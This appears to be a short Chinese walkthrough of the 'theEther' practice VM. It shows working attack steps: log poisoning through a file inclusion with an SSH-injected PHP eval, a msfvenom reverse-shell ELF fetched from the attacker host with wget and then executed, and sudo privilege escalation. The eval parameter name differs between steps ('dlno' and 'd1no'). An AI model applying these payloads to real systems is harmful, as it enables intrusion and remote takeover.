theEther

一、主机发现

二、信息收集

1.目录扫描

2.访问首页

访问/about.php，有文件包含

抓包拼接命令，/index.php?file=/var/log/auth.log

包含日志，可以写入错误日志

请求

ssh "<?php eval($_GET[dlno]);?>"@192.168.1.11

三、信息利用

1.msf生成监听文件

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=7788 -f elf > shell.elf

2.开启msf开始监听

msfconsole//开启msf
 //配置参数
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.6
set lport 7788
run//启动

3.启动服务

python -m http.server 8888

4.用靶机请求这三个链接

/?file=/var/log/auth.log&d1no=system('wget+192.168.1.6:8888/shell.elf')%3b
/?file=/var/log/auth.log&d1no=system('chmod+%2bx+shell.elf')%3b
/?file=/var/log/auth.log&d1no=system('./shell.elf')%3b

四、提权

1.msf监听上线，获得bin/bash

python -c 'import pty;pty.spawn("/bin/bash")'

2.sudo -l查看执行权限

3.sudo ./xxxlogauditorxxx.py 然后 whoami 提权成功